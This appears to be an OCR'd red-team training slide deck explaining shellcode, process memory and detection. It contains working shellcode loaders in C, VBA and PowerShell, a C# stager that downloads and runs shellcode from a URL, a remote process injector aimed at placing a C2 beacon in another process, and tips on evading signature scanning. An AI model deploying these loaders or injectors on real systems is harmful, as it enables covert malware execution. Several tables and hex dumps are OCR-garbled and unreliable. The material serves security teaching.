
Shellcode 1/3 What is it?

Dobin Rutishauser, March 2024

Projekt1



Content

Intro

Computer Basics: Assembler

Computer Basics: Program vs. Process

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Shellcode Loader example


Shellcode in RedTeaming

Detection (File vs. Memory Scanning)

How to create Shellcode

Conclusion

Vertical Slice through Computers



Shellcode

Intro

Motivation: C2


C2:

Create exe, dll or shellcode (raw)

Why? Whats the difference? What to take?

Motivation: C2





Once the configuration is to your liking, you can generate NimPlant binaries to deploy on your target. Currently, NimPlant supports .exe , .dll , and .bin binaries for (self-deleting) executables, libraries, and position-independent shellcode (through sRDI), respectively. To generate, run python NimPlant.py compile followed by your preferred binaries (exe , exe-selfdelete , dll , raw , or all) and, optionally, the implant type (nim , or nim-debug).

Computer Basics

Assembler Instructions

Hex

0x0	=	0
0x1	=	1
0x2	=	2
0x3	=	3
0xa	=	10
0xb	=	11
0xf	=	15
0x10	=	16
0xFF	=	255

Decimal: 10 * 10 = 100 Hex: 16 * 16 = 2568 bit = 256 = 1 byte4 bit = 16 = 1 nibble

Register

Like variables in the CPU

RAX, RBX, RSP, ...

RIP: Instruction Pointer: Points to the next instruction which will be executed by the CPU




Assembly and CPU Instructions

	ASM Opcodes	Disassembled Opcodes
00007FFC4E840731 00007FFC4E840733 00007FFC4E840737 00007FFC4E840738 00007FFC4E840739 00007FFC4E84073A 00007FFC4E84073B 00007FFC4E84073C 00007FFC4E84073D	•	Disassembled Opcodes imp ntdll.7FFC4E840733 add rsp,38 ret int3 int3 int3 int3 int3 int3 int3 int
00007FFC4E84073F 00007FFC4E840740 00007FFC4E840745 00007FFC4E84074A 00007FFC4E84074B 00007FFC4E84074C 00007FFC4E84074E 00007FFC4E840756 00007FFC4E84075D 00007FFC4E840764 00007FFC4E840767	CC 48:895C24 10 48:897424 18 55 57 41:56 48:8DAC24 00FFFFFF 48:81EC 00020000 48:8B05 AC3D0B00 48:33C4 48:8985 F0000000 4C:8B05 930A0B00 48:8D05 7C260500	int3 mov qword ptr ss:[rsp+10],rbx mov qword ptr ss:[rsp+18],rsi push rbp push rdi push r14 lea rbp,qword ptr ss:[rsp-100] sub rsp,200 mov rax,qword ptr ds:[7FFC4E8F4510] xor rax,rsp mov qword ptr ss:[rbp+F0],rax mov r8,qword ptr ds:[7FFC4E8F1208] lea rax,qword ptr ds:[7FFC4E892DF8]


Opcodes


Intel x86/x64 Assembly



8 BIT CPU Instruction Decoder









Computer Basics

Program vs. Process

Program vs. Process



Program vs. Process






Memory RAM




Program vs. Process - Loading




Not to scale

Program vs. Process



Program vs. Process - **Detection / Analysis**



Sections

PE Sections in file

And in Memory

Na	me	Raw Addr.	Raw size	Virtual Addr.	Virtual Size
>	.text	400	11B200	1000	11B0CE
>	.rdata	11B600	4C800	11D000	4C722
>	.data	167E00	D400	16A000	40ED4
>	.pdata	175200	A000	1AB000	9FC0
>	_RDATA	17F200	200	1B5000	15C
>	.rsrc	17F400	C6000	1B6000	C5F58
>	.reloc	245400	1800	27C000	17A8

Address	Size	Party	Info	Initial
000000007FFE0000	0000000000001000	& User	KUSER_SHARED_DATA	-R
00000007FFE9000	0000000000001000	A User	The state of the s	-R
000005C86A00000	0000000000140000	A User	Reserved	-RW
000005C86B40000	0000000000009000	A User	PEB, TEB (2356), TEB (3920),	-RW
000005C86B49000	00000000000B7000	A User	Reserved (0000005c86A00000)	-RW
000005C86C00000	0000000000FA000	2 User	Reserved	-RW
000005C86CFA000	0000000000006000	9 User	Stack (2356)	-RW
0000005C86D00000	0000000000FA000	9 User	Reserved	-RW
0000005C86DFA000	0000000000006000	9 User	Stack (3920)	-RW
0000005C86E00000	0000000000F9000	9 User	Reserved	-RW
000005C86EF9000	0000000000007000	9 User	Stack (3548)	-RW
000005C86F00000	00000000000FC000	2 User	Reserved	-RW
000005C86FFC000	0000000000004000	2 User	1177 70 1.77	-RW
0000018D00C10000	0000000000010000	2 User	Heap (ID 1)	-RW
0000018D00C20000	000000000001000	2 User	11cap (15 1)	-R
0000018D00C30000	000000000001D000	User		-R
000018D00C50000	0000000000004000	2 User		-R
000018D00C60000	000000000003000	User		-R
000018D00C70000	0000000000002000	User		-RW
0000018D00C80000	000000000000c9000	User	\Device\HarddiskVolume2\Windo	
000018D00C50000	0000000000001000	User	Device (nai daiskvoidillez (willia)	-R
000018D00D50000	0000000000001000	2 User		-R
000018D00DC0000	0000000000014000	2 User	Heap (ID 0)	-RW
000018D00DC0000	00000000000014000	2 User	Reserved (0000018D00DC0000)	-RW
00007FF46BCF0000	0000000000005000	2 User	Reserved (0000010D00DC0000)	-R
0007FF46BCF5000	00000000000FB000	A User	Reserved (00007FF46BCF0000)	-R
0007FF46BDF0000	0000000100020000	2 User	Reserved	-RW
0007FF56BE10000	00000000000000000	9 User	Reserved	-RW
0007FF56DE10000	000000000000000000000000000000000000000	2 User	Kesel ved	-RW
0007FF56DE20000	0000000000001000	2 User		-R
00007FF56DE20000	00000000000023000	9 User		-R
0007FF7A60D0000	00000000000023000	A User	proceyp64 venify eve	A STATE OF THE STA
0007FF7A60D0000	000000000001000 0000000000011C000	E 2	procexp64-verify.exe	ERWC-
	00000000011C000	Q User	".text"	ERWC-
0007FF7A61ED000 0007FF7A623A000	0000000000041000	and the second	".rdata"	ERWC-
		& User	".data"	ERWC-
0007FF7A627B000	00000000000000000000000000000000000000	arm	".pdata"	ERWC-
0007FF7A6285000	0000000000001000	& User	"_RDATA"	ERWC-
00007FF7A6286000	00000000000C6000	& User	".rsrc"	ERWC-
00007FF7A634C000	0000000000002000	A User	".reloc"	ERWC-
00007FFA78CC0000	0000000000001000	System	aclui.dll	ERWC-
00007FFA78CC1000	0000000000064000	System	".text"	ERWC-
00007FFA78D25000	0000000000021000	<pre>System</pre>	".rdata"	ERWC-
00007FFA78D46000	0000000000005000	System	. data	ERWC-
00007FFA78D4B000	000000000005000	System	".pdata"	ERWC-
00007FFA78D50000	000000000001000	System	".didat"	ERWC-
00007FFA78D51000	000000000001000	System	rsrc	ERWC-
00007FFA78D52000	0000000000002000	System	".reloc"	ERWC-
00007FFA89270000	0000000000001000	System	ntdsapi.dll	ERWC-

Process


Each process thinks he is the only one on the computer

NO access to anything else than memory


- Disk? Files??
- Network?
- Other processes?

Purpose of OS. So each program doesnt need to implement disk driver and filesystem

All anteraction with **Syscalls**




Program vs. Process - Section Permissions




DEP, NX, Non Executable Stack


Code and Data Sections




Van Neuman Architecture




Exploit: Memory Corruption



Exploit: Executing an EXE?



Exploit: Shellcode



Smashing the stack for fun and profit (aleph1, phrack 49 file 14, 1996)

The code to spawn a shell in C looks like:

execve(name[0], name, NULL);

Shell Code

So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this:

DDDDDDDDDEEEEEEEEE EEE FFFF FFFF FFFF top of 89ABCDFF0123456789AB CDFF 4567 memory memory buffer sfp ret a [SSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] top of stack

```
shellcode.c
                                                        exploit4.c
#include <stdio.h>
                                                        #include <stdlib.h>
void main() {
                                                        #define DEFAULT OFFSET
   char *name[2];
                                                        #define DEFAULT BUFFER SIZE
                                                        #define DEFAULT EGG SIZE
                                                        #define NOP
   name[0] = "/bin/sh";
   name[1] = NULL;
                                                        char shellcode[] =
```

```
bottom of
                                                              stack
                                       512
                                      2048
                                      0x90
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Shellcode vs. Exe

Differences

Shellcode

Normal x86/x64 assembly code (like in exe)


But: Independent, Self contained

Without external data reference

Can be loaded at any address

PIC - Position independent code (like DLL's)

Problem: External Data References



From EXE (.text)

Shellcode

From an exploiters perspective, shellcode:

- Can be loaded anywhere (requirement)
- Cannot reference data outside of itself
- Interacts with the OS
- Does some bad stuff (remote shell, C2)
 - o Cobaltstrike beacon, connect-back shellcode, ...
 - This bad stuff is most likely signatured

Shellcode <-> EXE Conversion

Shellcode -> EXE:

Trivial (shellcode loader)

EXE -> Shellcode:

- Hard
 - https://github.com/TheWover/donut
 - Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
 - o sRDI
 - Shellcode reflective DLL injection (sRDI) is a technique that allows converting a given DLL into a position independent shellcode that can then be injected using your favourite shellcode injection and execution technique.

Shellcode Loader

Example

Example: Calc shellcode (Hexdump)

```
PS C:\Users\hacker\source\repos\supermega\shellcodes> Format-hex -Path $filePath
            Path: C:\Users\hacker\source\repos\supermega\shellcodes\calc64.bin
            00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0F 0F
00000000
                         F0 E8 C0 00 00 00 41 51
                                                                  üH□äðèÀ...AOAPRO
1000000010
                               8B
                                      60
                                         48
                                             8B
                                                                  VH1OeHOR HOR.HOR
1000000020
                                                                   HOrPH. JJM1ÉH1A
00000030
                                                                  ¬<a|., AÁÉ.A.Áâí
00000040
                                   8B
                                                                  RAQHOR OB<H.DOOO
100000050
                                                                    .HDAtgH. DPDH.D
1000000060
                                      48
                                                                  □@ I.ĐÃVH.ÉA□4□H
100000070
                                                                  OM1ÉH1À¬AÁÉ.A.Á
08000000
                                                                  8aunt . L $ . F 9NuØXD
1000000090
                               66 41
                                      8<sub>B</sub>
                                                                  П@$T ÐfAП HDП@ T
000000A0
                                                                  . ĐA 🗆 . 🗆 H. ĐAXAX^YZ
1000000B0
                                                                  AXAYAZHII AR. AXA
000000c0
                                                                  YZH[.éW...]H°...
000000D0
                               8D 8D 01
1000000F0
                                                                  o□.Õ»b.2êA°¦□½□.
1000000F0
                               06 7C 0A 80
                                            FB
                                                                  ÕH□Ä(<.|.□ûàu.»G
00000100
                            59 41 89 DA FF D5
                                                                  .roj.YA□Ú.Õcalc.
                                                63
```

Example: Calc shellcode (Disassembly)

Shellcode disassembly


```
PS C:\Users\hacker\source\repos\iattest\x64\Release> radare2.exe .\calc64.bin
[0x00000000]> pd
            0x00000000
                             fc
                                             cld
            0x00000001
                             4883e4f0
                                             and rsp, 0xfffffffffffffff
                             e8c00000000
                                             call 0xca
            0x00000005
            0x00000000a
                             4151
                                             push r9
                             4150
                                             push r8
            0x0000000c
                             52
                                             push rdx
            0x00000000e
            0x0000000f
                             51
                                             push rcx
                                             push rsi
            0x00000010
                             56
            0x00000011
                             4831d2
                                             xor rdx, rdx
            0x00000014
                             65488b5260
                                             mov rdx, qword gs:[rdx + 0x60]
                             488b5218
                                             mov rdx, qword [rdx + 0x18]
            0x00000019
                             488b5220
                                             mov rdx, qword [rdx + 0x20]
            0x0000001d
                             488b7250
                                             mov rsi, qword [rdx + 0x50]
            0x00000021
                                            movzx rcx, word [rdx + 0x4a]
            0x00000025
                             480fb74a4a
            0x0000002a
                             4d31c9
                                            xor r9, r9
                             4831c0
        .-> 0x0000002d
                                            xor rax, rax
            0x00000030
                                            lodsb al, byte [rsi]
                             ac
                                                                          ; 'a'
            0x00000031
                             3c61
                                             cmp al, 0x61
       ,==< 0x00000033
                                             jl 0x37
                             7c02
                                             sub al, 0x20
                                                                            " H\x8brPH\x0f\xb;
            0x00000035
                             2c20
                                             ror r9d, 0xd
        --> 0x00000037
                             41c1c90d
                                             add r9d, eax
            0x0000003b
                             4101c1
        `=< 0x00000003e
                                             loop 0x2d
                             e2ed
                                             push rdx
            0x000000040
                             52
            0x00000041
                             4151
                                             push r9
                             488b5220
                                             mov rdx, qword [rdx + 0x20]
            0x00000043
                                             mov eax, dword [rdx + 0x3c]
                             8b423c
            0x00000047
                             4801d0
                                             add rax, rdx
            0x0000004a
                             8b8088000000
                                             mov eax, dword [rax + 0x88]
            0x0000004d
                                             test rax, rax
            0x000000053
                             4885c0
```

Example: Calc shellcode (Convert to C string)

Convert to C byte notation

```
PS C:\Users\hacker\source\repos\iattest\x64\Release> $filePath = ".\calc64.bin"
PS C:\Users\hacker\source\repos\iattest\x64\Release> $bytes = Get-Content -Path $filePath -Encoding
 Byte
PS C:\Users\hacker\source\repos\iattest\x64\Release> $escapedHexString = ($bytes | ForEach-Object {
 "\x" + $ .ToString("X2") }) -join ''
>>
PS C:\Users\hacker\source\repos\iattest\x64\Release> Write-Output $escapedHexString
>>
\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x6
0\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x
3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\
x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20
\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC
9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x
01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\
x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9
\x57\xFF\xFF\xFF\x5D\x48\x8A\x01\x00\x00\x00\x00\x00\x00\x48\x8D\x8D\x01\x01\x00\x00\x41\x8A\x3
1\x8B\x6F\x87\xFF\xD5\xBB\xFE\x0E\x32\xEA\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06\x
7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5\x63\x61\x6C\x63\x00
PS C:\Users\hacker\source\repos\iattest\x64\Release>
```

Example: Calc shellcode (EXE Loader)



Shellcode loader:

- Shellcode (payload)
- VirtualAlloc
- Copy
- Exec

Example: Calc shellcode (EXE Loader)

```
unsigned char buf[] =
  "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\
  int main()
  {
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}
```

Shellcode loader:

- Shellcode (payload)
- VirtualAlloc
- Copy
- Exec

Split it up: DripLoader

Example: Calc shellcode (Loader Code)


```
0000000140001000 <
                       48:83FC 28
                                          sub rsp,28
0000000140001004
                       33C9
                                          xor ecx, ecx
                                          mov edx,111
0000000140001006
                       BA 11010000
000000014000100B
                       41:B8 00100000
                                          mov r8d.1000
0000000140001011
                       44:8D49 40
                                         call qword ptr ds:[<&VirtualAlloc>]
                       FF15 E50F0000
0000000140001015
000000014000101B
                       48:8D0D 1E200000
                                         | lea rcx,qword ptr ds:|<but>|
                       41:B8 02000000
                                          mov r8d.2
0000000140001022
0000000140001028
                       4C:8BC8
                                          mov r9, rax
000000014000102B
                       48:8BD0
                                          mov rdx, rax
                                          nop
000000014000102F
                       66:90
                                          lea rdx.gword ptr ds:[rdx+80]
                       48:8D92 80000000
0000000140001030
                                          movups xmm0, xmmword ptr ds:[rcx]
0000000140001037
                       0F1001
                       48:8D89 80000000
                                          lea rcx, gword ptr ds:[rcx+80]
000000014000103A
                                          movups xmmword ptr ds:[rdx-80],xmm0
                       OF1142 80
0000000140001041
0000000140001045
                       0F1049 90
                                          movups xmm1,xmmword ptr ds:[rcx-70]
                                          movups xmmword ptr ds:[rdx-70],xmm1
                       OF114A 90
0000000140001049
                                          movups xmm0, xmmword ptr ds:[rcx-60]
                       OF1041 A0
000000014000104D
0000000140001051
                       0F1142 A0
                                          movups xmmword ptr ds:[rdx-60],xmm0
                       0F1049 B0
                                          movups xmm1,xmmword ptr ds:[rcx-50]
0000000140001055
                                          movups xmmword ptr ds:[rdx-50].xmm1
                       OF114A BO
0000000140001059
                       0F1041 C0
                                          movups xmm0, xmmword ptr ds:[rcx-40]
000000014000105D
                                          movups xmmword ptr ds:[rdx-40],xmm0
0000000140001061
                       0F1142 C0
                       0F1049 D0
                                          movups xmm1.xmmword ptr ds:[rcx-30]
0000000140001065
                       OF114A DO
                                          movups xmmword ptr ds:[rdx-30].xmm1
0000000140001069
                       OF1041 E0
                                          movups xmm0, xmmword ptr ds:[rcx-20]
000000014000106D
                                          movups xmmword ptr ds:[rdx-20],xmm0
0000000140001071
                       0F1142 E0
0000000140001075
                       0F1049 F0
                                          movups xmm1, xmmword ptr ds:[rcx-10]
                                          movups xmmword ptr ds:[rdx-10],xmm1
0000000140001079
                       0F114A F0
                       49:83E8 01
000000014000107D
                                          sub r8.1
                     ^ 75 AD
                                          ine shellcodeloader.140001030
00000000140001081
                                          movups xmm0,xmmword ptr ds:[rcx]
                       0F1001
0000000140001083
                                          movups xmmword ptr ds:[rdx],xmm0
                       0F1102
0000000140001086
                       OFB641 10
                                          movzx eax.byte ptr ds:[rcx+10]
0000000140001089
                                         mov byte ptr ds:[rdx+10] al
                       8842 10
000000014000108D
0000000140001090
                       41:FFD1
                                          call r9
0000000140001093
                       33C0
                                          AUI eax, eax
                       48:83C4 28
                                          add rsp,28
0000000140001095
0000000140001099
                       C3
                                          ret
```


VirtualAlloc

Copy


Call

Example: Loader







Example: Loader process: 1/3 VirtualAlloc



Example: Loader process: 2/3 Copy



Example: Loader process: 3/3 Exec




Example: Loader process - Payload in RWX section



Example: Better Loader: "Encryption"

```
#include <stdio.h>
#include <windows.h>
unsigned char buf[] = "\xFD\x49\x..."
int main()
    void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT,
                                  PAGE_EXECUTE_READWRITE);
   for(int n= 0; n<sizeof(buf); n++) {
    exec[n] = buf[n] - 1</pre>
    ((void(*)())exec)();
    return 0;
```

Example: Loader process: 3/3 Exec




Example: Better Loader: Better exec (fiber)

```
#include <windows.h>
unsigned char buf[] = "xFDx49x..."
int main()
   void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT,
                                  PAGE_EXECUTE_READWRITE);
   for(int n= 0; n<sizeof(buf); n++) {
   exec[n] = buf[n] - 1</pre>
   PVOID shellcodeFiber = CreateFiber(NULL, exec, NULL);
   SwitchToFiber(shellcodeFiber);
   return 0;
```

Shellcode loader

Required:

- The payload / shellcode to execute
 - o In .data, .rdata, .text, from a file
 - Encoded, encrypted, base64, xor'd...
- The writeable/executable memory
 - VirtualAlloc()
- The copy
 - o for() loop
 - o memcpy() / memmove()
 - RtlCopyMemory(), CopyMemory(), MoveMemory()
- The execution
 - Just jmp to it: ((void(*)())exec)();
 - CreateThread()
 - QueueUserWorkItem()
 - QueueUserApc()
 - All Windows functions which use a callback



Shellcode in RedTeaming

Shellcode Detection


- Malware is relatively constant -> create (yara) signatures
- Scan files with yara
- Scan memory with yara

Hide shellcode in files:

- Simple
- Loader (encrypt, stage etc. shellcode)

Hide shellcode in **memory**:

- Hard
- sleep(10) on process start
- Encrypt on sleep()



Shellcodes in RedTeaming

- Loading C2 beacon shellcode with loader/stager
 - From exe
 - From Powershell
 - o From vbs, vba, msi, ...
- Inject tools or C2 into other processes
 - Process injection
- Generated .exe probably heavily signatured

Note: techniques which may require a shellcode:

- Load DLL in a remote process
- Load DotNet CLR in a unmanaged process

Shellcodes in RedTeam: VBA

VBA

Dim result As Long

```
Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Destination As LongPtr, ByRef Source As Any, ByVal Length As Long) As LongPtr
Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As LongPtr, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As LongPtr
Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As LongPtr, ByVal dwMilliseconds As Long) As Long
Public Sub ExecuteShellcode()
Dim shellcode As Variant
Dim memoryAddress As LongPtr
Dim threadHandle As LongPtr
Dim threadId As Long
```

```
shellcode = Array(144, 144, 144, ..., 144) ' Replace "..." with your shellcode bytes
memoryAddress = VirtualAlloc(0, UBound(shellcode) + 1, &H3000, &H40)
Call RtlMoveMemory(memoryAddress, shellcode(0), UBound(shellcode) + 1)
threadHandle = CreateThread(0, 0, memoryAddress, 0, 0, threadId)
```

Shellcodes in RedTeam: Powershell

Powershell

```
$shellcode = @(0x00, 0x01, 0x02, 0x03)

$pointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $pointer, $shellcode.Length)
$functionDelegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pointer, [func[type]])
$functionDelegate.Invoke()
```

Download → Decode → Alloc → Copy → Create Thread

```
public static void DownloadAndExecute()
                 Console.WriteLine("############ Download Base64 & decode to bytes");
26
                 ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
                 System.Net.WebClient client = new System.Net.WebClient();
28
                 string b64 = client.DownloadString(url);
29
                 byte[] shellcode = System.Convert.FromBase64String(b64);
30
31
                 32
                 IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
33
                 Console.WriteLine("############ Copy Shellcode in allocated space");
34
                 Marshal.Copy(shellcode, 0, addr, shellcode.Length);
35
                 Console.WriteLine("##################################; Create a thread");
36
                 IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
37
                 WaitForSingleObject(hThread, 0xFFFFFFFF);
                 return;
```


Process Injection

Process A inject shellcode C into process D

- Process D: teams.exe
- Shellcode C: Cobalt Strike
- Process A: ??? (Initial Access)
 - Exploit
 - Malicious EXE
 - Powershell
 - DotNet
 - VBA Makros
 - Jscript / Wscript
 - BAT

```
inject-remote-process.cpp
#include "stdafx.h"
#include "Windows.h"
int main(int argc, char *argv[])
       unsigned char shellcode[] =
               "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
               "\xff\xff\x48\xbb\x1d\xbe\xa2\x7b\x2b\x90\xe1\xec\x48\x31\x58"
               DBX/OUX/UCX/14X/41X/UDX/DBX/BCX/\CS/49X/C9X/UDX/UOX/XZ/4UX/
               "\x94\x64\x5d\xae\x2b\x90\xe1\xec":
        HANDLE processHandle;
        HANDLE remoteThread;
        PVOID remoteBuffer;
        printf("Injecting to PID: %i", atoi(argv[1]));
        processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
        remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESE
        WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, N
        remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUT
        CloseHandle(processHandle);
    return 0;
```

Process Injection




Process Injection

```
\XD4\XZZ\XO0\XCD\XE5\XE4\X5/\X58\XBG\XL4\X4T\XXU\XD6\XBG\XD6\XD6\XBG\XD6\XBG\XD6
            \sqrt{x94}x64\x5d\xae\x2b\x90\xe1\xec}
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS)
                                                                                 ));
                                          These are heavily EDR'd
    remoteBuffer = VirtualAllocEx(proces
                                                                                 RESER
                                          AMSI!
    WriteProcessMemory(processHandle, re
                                                                                 e, NU
    remoteThread = CreateRemoteThread(pr
                                                                                 ROUTI
                                          -> AMSI BYPASS REQUIRED
    CloseHandle(processHandle);
return 0;
```


Detection

File vs. Memory Scanning

AV / Signature Scan



Detection: pe-sieve



pe-sieve

https://github.com/hasherezade/pe-sieve

Against meterpreter:

```
PS C:\tools> .\pe-sieve64.exe /quiet /pid 12988 /obfusc 3 /data 3
PID: 12988
SUMMARY:
Total scanned:
                     37
Skipped:
                     0
Hooked:
Replaced:
                     0
Hdrs Modified:
IAT Hooks:
Implanted:
Implanted PE:
Implanted shc:
Unreachable files:
Other:
                     0
Total suspicious:
```

moneta

https://github.com/forrest-orr/moneta

```
PS C:\tools> .\moneta64.exe -p 12036 -m ioc
Moneta v1.0 | Forrest Orr | 2020
.. failed to grant SeDebug privilege to self. Certain processes will be inaccessible.
runshc.exe : 12036 : x64 : C:\Users\hacker\source\repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe
                                    Private
 0x0000028948FB0000:0x00032000
   0x0000028948FB0000:0x00032000
                                              0x00000000 | Abnormal private executable memory
                                    RWX
                                    Private
 0x0000028948FF0000:0x00039000
   0x0000028948FF1000:0x00022000
                                    RX
                                               0x00000000
 0x00007FF645BC0000:0x00015000
                                   EXE Image
                                                          C:\Users\hacker\source\repos\masm shc\out\build\x64-Debug\runs
hc\runshc.exe | Unsigned module
... scan completed (0.484000 second duration)
PS C:\tools> _
```

How to create shellcode

From a C project, through assembly, to shellcode v 1.2

by hasherezade for @vxunderground

special thanks to Duchy for testing

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Prior work and motivations

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Position-independent code

Calling API without the Import Table Wrapping up: the header

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From a C project to the shellcode

The core idea

Preparing the C project

Refactoring the assembly

Extended example - a demo server

Building

Running

Testing

Conclusion

Removing Dependencies: Function call resolver

```
#include <Windows.h>
int main()
   LPVOID u32 dll = LoadLibraryA("user32.dll");
   int (WINAPI * MessageBoxW)(
       _In_opt_ HWND hWnd,
       In_opt_ LPCWSTR lpText,
       In opt LPCWSTR lpCaption,
       _In_ UINT uType) = (int (WINAPI*)(
           _In_opt_ HWND,
           In opt LPCWSTR,
           In opt LPCWSTR,
           _In_ UINT)) GetProcAddress((HMODULE)u32_dll, "MessageBoxW");
   if ( MessageBoxW == NULL) return 4;
    MessageBoxW(0, L"Hello World!", L"Demo!", MB_OK);
   return 0;
```

Removing Dependencies: Data reference compiler trick

```
char *load_lib_name[] = "LoadLibraryA"; .data Reference! Bad
```


```
char load_lib_name[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0};
LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
```

After compilation to assembly, the string will look in the following way:


```
: Line 10
   mov BYTE PTR load lib name$[ebp], 76 ; 0000004cH
   mov BYTE PTR load lib name$[ebp+1], 111 ; 0000006fH
   mov BYTE PTR _load_lib_name$[ebp+2], 97; 00000061H
   mov BYTE PTR load lib name$[ebp+3], 100
                                             : 00000064H
   mov BYTE PTR load lib name$[ebp+4], 76; 0000004cH
   mov BYTE PTR load lib name$[ebp+5], 105 ; 00000069H
   mov BYTE PTR _load_lib_name$[ebp+6], 98 ; 00000062H
   mov BYTE PTR _load_lib_name$[ebp+7], 114
                                             : 00000072H
   mov BYTE PTR _load_lib_name$[ebp+8], 97; 00000061H
   mov BYTE PTR load lib name$[ebp+9], 114
                                              : 00000072H
   mov BYTE PTR load lib name$[ebp+10], 121
                                             : 00000079H
   mov BYTE PTR load lib_name$[ebp+11], 65
                                             : 00000041H
   mov BYTE PTR load lib name$[ebp+12], 0
; Line 11
   lea eax, DWORD PTR load lib name$[ebp]
```

String on stack! Good

Example: Loader process: 1/3 VirtualAlloc



Problem: External Data References



From EXE (.text)

Shellcode

Conclusion

Shellcode Summary

We looked at what shellcode is

Where it is

Not: what shellcode is doing or how EXEs are loaded

Shellcode: Assembly code which can be loaded at any address

Shellcode Conclusion

- C2 or other tools generated EXE usually signatured
- Shellcode gives us flexibility
 - Start it with a shellcode loader
 - Encrypt it
 - o Inject it into EXE, DLL
 - Load it with a memory corruption vulnerability
 - Store it in registry

Outlook

Shellcode itself are not that interesting

More important: The know-how how programs, processes, loaders, asm works

Next time: Shellcodes 2/3

- DLL's
- Linkers & Loaders
- Self reflecting DLLs
- AMSI/EDR function hooking & bypasses
- Memory encryption

Toolzs

radare2

x64dbg

Pe-bear Pe-sieve

. 0 0.00